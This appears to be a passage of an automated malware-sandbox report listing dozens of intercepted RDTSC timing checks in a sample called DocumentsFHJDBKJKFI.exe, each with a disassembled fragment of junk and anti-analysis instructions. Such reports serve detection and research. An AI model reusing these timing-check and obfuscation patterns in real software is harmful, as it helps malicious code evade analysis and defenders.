Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B8A4 second address: F2B8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30FBAE6Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B8B4 second address: F2B8F2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F30D58CE5h 0x00000008 jmp 00007F8F30D58CDFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jne 00007F8F30D58CECh 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B8F2 second address: F2B929 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30FBAE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e jp 00007F8F30FBAE6Ch 0x00000014 ja 00007F8F30FBAE66h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007F8F30FBAE72h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B929 second address: F2B957 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [ebp+122D2BA7h], ebx 0x00000010 lea ebx, dword ptr [ebp+12460559h] 0x00000016 mov dword ptr [ebp+122D2B7Ah], eax 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B957 second address: F2B95D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B95D second address: F2B963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B963 second address: F2B975 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8F30FBAE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B975 second address: F2B979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B979 second address: F2B97D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B9B2 second address: F2B9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F8F30D58CDCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4BA55 second address: F4BA64 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30FBAE66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4BA64 second address: F4BA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F22FD1 second address: F22FDB instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F30FBAE66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4987B second address: F4988E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jbe 00007F8F30D58CD6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F499B3 second address: F499CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE78h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F499CF second address: F499F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8F30D58CE9h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F49B69 second address: F49B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F8F30FBAE6Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F49D0A second address: F49D34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F8F30D58CDCh 0x00000010 jnc 00007F8F30D58CD6h 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F49E88 second address: F49E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A0DE second address: F4A0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A0EB second address: F4A0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A0EF second address: F4A0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A0FB second address: F4A0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A0FF second address: F4A127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F8F30D58CE9h 0x0000000e pop esi 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A127 second address: F4A16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30FBAE70h 0x00000009 popad 0x0000000a je 00007F8F30FBAE75h 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F8F30FBAE6Dh 0x00000017 pushad 0x00000018 jmp 00007F8F30FBAE77h 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A539 second address: F4A541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A682 second address: F4A689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A689 second address: F4A698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8F30D58CD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A698 second address: F4A6AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c je 00007F8F30FBAE66h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A6AC second address: F4A6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F8F30D58CDAh 0x0000000b jmp 00007F8F30D58CDBh 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A6CC second address: F4A6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A9A2 second address: F4A9BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8F30D58CE0h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4A9BE second address: F4A9C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F3EB02 second address: F3EB0E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F30D58CD6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4B8FA second address: F4B905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F8F30FBAE66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4E4A1 second address: F4E4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4EB14 second address: F4EB18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F4EB18 second address: F4EB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F8F30D58CEAh 0x0000000c jmp 00007F8F30D58CE4h 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a js 00007F8F30D58CD6h 0x00000020 popad 0x00000021 jmp 00007F8F30D58CDCh 0x00000026 popad 0x00000027 mov eax, dword ptr [eax] 0x00000029 push ecx 0x0000002a pushad 0x0000002b jc 00007F8F30D58CD6h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F526F1 second address: F526F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F526F9 second address: F526FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F15AB0 second address: F15ADC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F30FBAE75h 0x00000008 jmp 00007F8F30FBAE6Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F56BEA second address: F56BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F56BEF second address: F56BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F56DB4 second address: F56DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F56F0A second address: F56F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F8F30FBAE66h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F56F19 second address: F56F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5719B second address: F571C0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30FBAE66h 0x00000008 jl 00007F8F30FBAE66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F8F30FBAE70h 0x00000015 popad 0x00000016 push ecx 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F574AB second address: F574B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F574B1 second address: F574B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F58574 second address: F5857A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5857A second address: F58580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F58580 second address: F58584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F586A4 second address: F586B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8F30FBAE66h 0x0000000a popad 0x0000000b pushad 0x0000000c jno 00007F8F30FBAE66h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F58A5F second address: F58A65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F59115 second address: F5911B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5911B second address: F5911F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F591C5 second address: F591C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F591C9 second address: F591D3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8F30D58CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F591D3 second address: F59219 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8F30FBAE6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F8F30FBAE68h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov si, 9946h 0x0000002b push eax 0x0000002c pushad 0x0000002d jmp 00007F8F30FBAE6Bh 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F59219 second address: F5921F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F592D7 second address: F592DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F592DC second address: F592E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F59762 second address: F5976C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F30FBAE6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5B604 second address: F5B60A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5B60A second address: F5B60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5B60E second address: F5B667 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, dword ptr [ebp+122D1D71h] 0x0000000f add dword ptr [ebp+122D1CCAh], edi 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D2AE6h] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F8F30D58CD8h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 sub dword ptr [ebp+122D1BD6h], ecx 0x0000003f xchg eax, ebx 0x00000040 jmp 00007F8F30D58CDDh 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5B667 second address: F5B66B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5B66B second address: F5B671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5B671 second address: F5B676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5CBBD second address: F5CBC7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5CBC7 second address: F5CBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5D7E9 second address: F5D7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5E228 second address: F5E28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8F30FBAE66h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F8F30FBAE68h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov edi, dword ptr [ebp+122D3009h] 0x00000030 push 00000000h 0x00000032 xor dword ptr [ebp+12460D45h], ebx 0x00000038 add esi, dword ptr [ebp+122D2A92h] 0x0000003e xchg eax, ebx 0x0000003f push edi 0x00000040 pushad 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 jo 00007F8F30FBAE66h 0x00000049 popad 0x0000004a pop edi 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jbe 00007F8F30FBAE6Ch 0x00000054 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F60799 second address: F607A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F8F30D58CD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F607A8 second address: F607AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F0D55F second address: F0D573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8F30D58CDBh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F62352 second address: F6236A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8F30FBAE6Ah 0x0000000b jg 00007F8F30FBAE66h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6236A second address: F6236F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F66985 second address: F669B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F30FBAE6Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F8F30FBAE74h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F669B1 second address: F669DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30D58CDDh 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F8F30D58CE2h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F66F58 second address: F66F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F67FC0 second address: F67FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F67FC4 second address: F67FF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F30FBAE70h 0x00000008 jmp 00007F8F30FBAE74h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jp 00007F8F30FBAE70h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F69DDB second address: F69DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F69DDF second address: F69DE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
